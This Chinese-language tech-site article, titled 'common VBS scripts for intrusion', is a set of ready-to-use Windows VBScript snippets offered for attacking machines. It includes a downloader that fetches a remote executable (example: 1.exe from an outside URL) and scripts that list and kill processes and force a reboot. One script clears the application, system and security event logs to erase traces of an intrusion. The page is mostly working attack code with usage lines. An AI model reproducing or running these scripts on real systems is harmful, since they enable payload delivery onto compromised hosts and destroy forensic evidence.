科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道网络安全入侵常用vbs脚本

入侵常用vbs脚本

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

来源:zdnet整理 2011年9月1日

关键字: 网络安全 网络入侵

  • 评论
  • 分享微博
  • 分享邮件

  1.文件下载(无回显)

  echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe

  echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe

  echo Set xPost = createObject(“Microsoft.XMLHTTP”) >>iget.vbe

  echo xPost.Open “GET”,iRemote,0 >>iget.vbe

  echo xPost.Send() >>iget.vbe

  echo Set sGet = createObject(“ADODB.Stream”) >>iget.vbe

  echo sGet.Mode = 3 >>iget.vbe

  echo sGet.Type = 1 >>iget.vbe

  echo sGet.Open() >>iget.vbe

  echo sGet.Write(xPost.responseBody) >>iget.vbe

  echo sGet.SaveToFile iLocal,2 >>iget.vbe

  用法: cscript hget.vbs http://www.claepo.com/1.exe 1.exe

  2.列举进程

  @echo for each ps in getobject _ >ps.vbs

  @echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>ps.vbs

  @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs

  用法:cscript ps.vbs

  3.终止进程

  @echo for each ps in getobject _ >pskill.vbs

  @echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>pskill.vbs

  @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs

  用法:cscript pskill.vbs pid

  4.重启系统

  @echo for each os in getobject _ >reboot.vbs

  @echo (“winmgmts:!\\.\root\cimv2:win32_operatingsystem”).instances_ >>reboot.vbs

  @echo os.win32shutdown(2):next >>reboot.vbs

  用法:cscript reboot.vbs

  5.利用脚本编程删除日志

  strComputer= “.”

  Set objWMIService = GetObject(“winmgmts:” _

  & “{impersonationLevel=impersonate,(Backup)}!\\” & _

  strComputer & “\root\cimv2″)

  dim mylogs(3)

  mylogs(1)=”application”

  mylogs(2)=”system”

  mylogs(3)=”security”

  for Each logs in mylogs

  Set colLogFiles=objWMIService.ExecQuery _

  (“Select * from Win32_NTEventLogFile where LogFileName=’”&logs&”‘”)

  For Each objLogfile in colLogFiles

  objLogFile.ClearEventLog()

  Next

  next

  将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章